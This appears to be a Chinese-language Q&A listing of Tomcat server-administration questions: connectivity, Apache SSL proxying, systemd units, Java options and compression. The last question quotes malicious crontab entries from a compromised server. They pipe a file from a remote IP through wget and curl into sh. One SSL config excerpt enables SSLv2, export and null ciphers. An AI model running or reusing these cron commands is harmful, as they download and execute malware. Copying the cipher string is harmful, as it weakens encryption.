标签: tomcat

即使 Tomcat 正在运行,也无法连接到它

我尝试在 Debian 5 和 Debian 6 上以 2 种不同的方式(从源代码使用 apt-get)安装 Apache Tomcat 5.5 和6 - 没有成功。服务器正在运行,但我无法连接到它。

netstat -a

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:ssh                   *:*                     LISTEN
tcp        0      0 `hostname`:ssh          my_home_ip:4318      ESTABLISHED
tcp        0     52 `hostname`:ssh          my_home_ip:remctl    ESTABLISHED
tcp6       0      0 [::]:8009               [::]:*                  LISTEN
tcp6       0      0 [::]:8180               [::]:*                  LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
udp        0      0 *:mdns                  *:*
udp        0 …
Run Code Online (Sandbox Code Playgroud)

tomcat

9
推荐指数
1
解决办法
5万
查看次数

在 tomcat 前面使用 apache 设置 SSL

我正在尝试使用 SSl 设置 Apache,并将 SSL 请求代理到我的 tomcat 实例。我想我使 SSL 工作,但仍然出现错误:

Bad Gateway

The proxy server received an invalid response from an upstream server.
Run Code Online (Sandbox Code Playgroud)

* SSL 虚拟主机 *

LoadModule ssl_module modules/mod_ssl.so

Listen 443
<VirtualHost _default_:443>
SSLEngine On
SSLProxyEngine On
DocumentRoot "/var/apache-tomcat-7.0.34/webapps/Learn2Gether/"

SSLCertificateFile /etc/pki/tls/learn2gether/cert-6090205098829887.pem
SSLCertificateKeyFile /etc/pki/tls/learn2gether/private_key_unlocked.pem
SSLCertificateChainFile /etc/pki/tls/learn2gether/rubca-chain.pem


BrowserMatch ".*MSIE.*" nokeepalive ssl-unclean-shutdown downgrade-1.0 force-response-1.0
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

ServerName www.learn2gether.rubel.rub.de
ServerAlias learn2gether.rubel.rub.de

#RewriteRule ^\/$ /Learn2Gether/index.html [PT]
##RewriteRule ^/(.*)$ /$1 [PT]

ProxyRequests Off
ProxyPreserveHost On
ProxyPass / https://localhost:8443/
ProxyPassReverse / https://localhost:8443/

</VirtualHost>
~               
Run Code Online (Sandbox Code Playgroud)

HTTP VH …

mod-rewrite ssl tomcat virtualhost apache-2.2

9
推荐指数
1
解决办法
5万
查看次数

systemctl 抱怨没有安装配置,但它存在

在遵循有关在 CentOS 上安装 tomcat 的教程时,我在执行该行时遇到了问题sudo systemctl enable tomcat- 它抱怨以下错误消息:

The unit files have no installation config (WantedBy, RequiredBy, Also, Alias
settings in the [Install] section, and DefaultInstance for template units).
This means they are not meant to be enabled using systemctl.
Run Code Online (Sandbox Code Playgroud)

但是,我的 [Install] 部分中显然有一个条目:

[Unit]
Description=Tomcat 9 servlet container
After=network.target

[Service]
Type=forking

User=tomcat
Group=tomcat

Environment="JAVA_HOME=/usr/lib/jvm/jre"
Environment="JAVA_OPTS=-Djava.security.egd=file:///dev/urandom"

Environment="CATALINA_BASE=/opt/tomcat/latest"
Environment="CATALINA_HOME=/opt/tomcat/latest"
Environment="CATALINA_PID=/opt/tomcat/latest/temp/tomcat.pid"
Environment="CATALINA_OPTS=-Xms256M -Xmx512M -server -XX:+UseParallelGC"

ExecStart=/opt/tomcat/latest/bin/startup.sh
ExecStop=/opt/tomcat/latest/bin/shutdown.sh

[INSTALL]
WantedBy=multi-user.target
Run Code Online (Sandbox Code Playgroud)

我怎样才能获得它以允许我启用此服务?我相信我已经完成了它所要求的一切。

tomcat centos systemctl

9
推荐指数
1
解决办法
4万
查看次数

如何在配置文件中配置 TomCat Java 选项?

我正在尝试为我正在部署的第 3 方应用程序配置传递到 TomCat 的 Java 选项。该应用程序提供的说明是:

  1. 从 Windows 菜单中的开始 > 所有程序 > Apache Tomcat > Tomcat 配置打开 Tomcat 配置工具。
  2. 单击配置并选择Java选项卡。
  3. 在 Java 选项字段的底部,输入以下内容:
    -Dexample.license.directory="C:\Program Files\example"
  4. 停止并重新启动应用程序服务器。

但是,我需要以编程方式执行此操作,因此我想知道这些选项可以设置在哪个配置文件中。使用 GUI 将应用程序部署到其他开发人员的环境是不切实际的。

(如果相关,我正在使用 Tomcat 6.0...)

windows configuration tomcat

8
推荐指数
1
解决办法
10万
查看次数

ProxyPass整个域到Tomcat,包括root

我已将我的VirtualHost example.com配置为将所有请求代理到 Tomcat 服务器

ProxyPass / http://localhost:8088/app
ProxyPassReverse / http://localhost:8088/app
Run Code Online (Sandbox Code Playgroud)

这适用于example.com/page 之类的URL ,但对于example.comexample.com/我得到了这个重定向响应,这显然不会导致任何结果。

HTTP/1.1 302 Moved Temporarily
Date: Wed, 06 Jul 2011 21:13:37 GMT
Server: Apache-Coyote/1.1             <-- the redirect comes from tomcat
Location: http://example.com/app/     <-- nonsense
...
Run Code Online (Sandbox Code Playgroud)

我能做些什么来修复它?最好在 Apache 配置中。

我正在使用 Apache 2 和 Tomcat 7

rewrite tomcat reverse-proxy apache-2.2

8
推荐指数
1
解决办法
9671
查看次数

如何使 URL 指向 Tomcat 实例?

对不起,如果这个问题没有意义(这里没有专家),但我知道 tomcat 侦听端口 8080 并且该 url 通常寻址到 80。有没有办法告诉 DNS url 应该指向 8080?或者我应该如何解决这个问题?

domain-name-system url tomcat port

8
推荐指数
1
解决办法
2万
查看次数

Tomcat:可以在应用程序部署期间排除 jars 吗?

默认情况下,Tomcat 会阻止 webapps 加载多个 .jars,它们是 Tomcat 发行版的一部分(例如 servlet 和 JSP API)——是否可以配置其他人也被排除在外?

如果不能单独配置,Tomcat 是否提供了资源验证的扩展点?

我想使用共享日志库,并且需要确保错误的应用程序不会破坏配置。

例子

这就是我所指的(来自 Tomcat 启动日志):

Oct 1, 2011 5:53:40 AM org.apache.catalina.loader.WebappClassLoader validateJarFile
INFO: validateJarFile(D:\tomcat\myapp\WEB-INF\lib\servlet-api.jar) - jar not loaded.
See Servlet Spec 2.3, section 9.7.2.
Offending class: javax/servlet/Servlet.class
Run Code Online (Sandbox Code Playgroud)

tomcat java servlets

8
推荐指数
1
解决办法
5298
查看次数

为 Tomcat Web 应用程序添加全局 URI 前缀

我正在设置一个反向代理配置,其中路径以“/apps/”开头的所有请求都应该由 Apache 代理到 Tomcat。这个 IMO 有两个好处:它可以只为 URI 空间的“/apps/”部分保留代理,并且只对所有 Tomcat 应用程序使用一个代理规则(即对任何 Tomcat 应用程序的请求应该从'/应用/')。

例如,对http://mydomain/apps/my_app/ 的请求应该被代理到http://localhost:8082/my_app/。请注意 Tomcat URI 中没有“/apps/”前缀:“my_app”位于 ${CATALINA_HOME}/webapps/my_app 的常规位置。

我在 Apache vhost.conf 文件中使用以下代理规则实现了这一点:

ProxyPreserveHost    on
ProxyPass            /apps/    http://localhost:8082/
ProxyPassReverse    /apps/    http://mydomain/
Run Code Online (Sandbox Code Playgroud)

(注意:我使用了 ProxyPreserveHost,因为我的 Tomcat 应用程序需要访问原始主机以生成更多链接)。一切顺利,除了由我的 Tomcat 应用程序的一部分生成的绝对链接。鉴于上述配置,我的 Tomcat 应用程序将“看到”这个请求:http://mydomain/my_app,因此生成没有“/apps/”前缀的链接,应该触发这些链接的代理。

我花了一些时间,但我现在明白这是代理的基本特征,并且没有“标准”方式将原始请求的“/apps/”前缀传递给代理应用程序。因此,我开始研究另一种可能性,即为所有 Tomcat 应用程序定义一个全局前缀,并使用以下设置代理 Tomcat 应用程序:

ProxyPreserveHost    on
ProxyPass            /apps/    http://localhost:8082/apps/
ProxyPassReverse    /apps/    http://mydomain/apps/
Run Code Online (Sandbox Code Playgroud)

这会将http://mydomain/apps/my_app/ 的请求代理到http://localhost:8082/apps/my_app/。由于 Tomcat 服务器上的所有应用程序都将通过代理访问,因此我认为所有 Tomcat 应用程序都需要这个“/apps/”前缀。

到现在为止还挺好。然而,我在这种方法的 Tomcat 方面苦苦挣扎:找到一种方法为 Tomcat 应用程序的请求添加全局路径前缀。我得到的最接近的是: 1. 不要接触 Tomcat 应用程序的物理位置:将它们留在 ${CATALINA.HOME}/webapps 2. 更改 …

configuration tomcat uri apache-2.2

8
推荐指数
1
解决办法
1万
查看次数

在代理服务器或应用程序服务器上压缩内容通常更好吗?

我们使用 F5 进行负载平衡和 SSL 代理。在它背后,我们使用 Tomcat 实例提供 Java 应用程序。这些是相当小的应用程序 - 数百个并发用户。

我想压缩一些内容,我正在寻找有关选择在 F5 或 tomcat 实例上配置压缩的建议。决定中的任何重要因素,还是一个六个中的六个?

compression tomcat f5-big-ip

8
推荐指数
1
解决办法
2083
查看次数

通过未知来源的 cron 对 Apache 服务器的 Shell 脚本攻击

在 Apache tomcat 服务器上运行项目战争时,我发现服务器已被入侵。

对未知进行战争的cron过程就像这样

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
Run Code Online (Sandbox Code Playgroud)

下载的logo.jpg有一个 shell 脚本,它正在下载恶意软件。

我在下面的这个网站上发现了一个类似的问题

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

我无法在我的整个代码中找到这个 cron 调度程序的来源。

我想知道有没有人遇到过这个问题?以及我应该如何在代码中找到调度程序的来源。

笔记:

我正在开发一个 JAVA(Struts 2)+jsp+javascript+jquery web 项目。

每次我使用项目的 war 文件启动我的 tomcat 时,这个调度程序都会运行,但是我无法在我的代码中找到任何调度程序的调度程序。

我在我的日志文件中发现了以下行

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] …
Run Code Online (Sandbox Code Playgroud)

security linux tomcat shell

8
推荐指数
1
解决办法
3554
查看次数